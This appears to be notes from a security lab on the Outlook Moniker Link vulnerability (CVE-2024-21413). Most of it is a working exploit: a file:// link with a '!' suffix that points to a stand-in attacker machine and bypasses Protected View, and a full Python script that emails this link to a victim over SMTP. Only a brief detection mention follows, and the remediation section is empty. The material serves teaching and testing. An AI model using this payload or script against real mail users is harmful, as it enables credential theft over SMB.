Moniker Link (CVE-2024-21413)

Moniker Link

<p><a href="file://ATTACKER_MACHINE/test">Click me</a></p>

Server Message Block (SMB)
The Moniker Link type uses the hyperlink by file://, the vulnerability exists by modifying the hyperlink to include ! and some text in the Moniker Link which results in bypassing Outlook's Protected View.

<p><a href="file://ATTACKER_MACHINE/test!exploit">Click me</a></p>

Exploitation

Moniker Link (CVE-2024-21413)

'''
Author: CMNatic | https://github.com/cmnatic
Version: 1.0 | 19/02/2024
'''

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr

sender_email = 'attacker@monikerlink.thm' # Replace with your sender email address
receiver_email = 'victim@monikerlink.thm' # Replace with the recipient email address
password = input("Enter your attacker email password: ")
html_content = """\
<!DOCTYPE html>
<html lang="en">
    <p><a href="file://ATTACKER_MACHINE/test!exploit">Click me</a></p>

    </body>
</html>"""

message = MIMEMultipart()
message['Subject'] = "CVE-2024-21413"
message["From"] = formataddr(('CMNatic', sender_email))
message["To"] = receiver_email

# Convert the HTML string into bytes and attach it to the message object
msgHtml = MIMEText(html_content,'html')
message.attach(msgHtml)

server = smtplib.SMTP('MAILSERVER', 25)
server.ehlo()
try:
    server.login(sender_email, password)
except Exception as err:
    print(err)
    exit(-1)

try:
    server.sendmail(sender_email, [receiver_email], message.as_string())
    print("\n Email delivered")
except Exception as error:
    print(error)
finally:
    server.quit()

Detection

AĀ Yara ruleĀ has been created byĀ Florian RothĀ to detect emails containing theĀ file:\\Ā element in the Moniker Link.

Remediation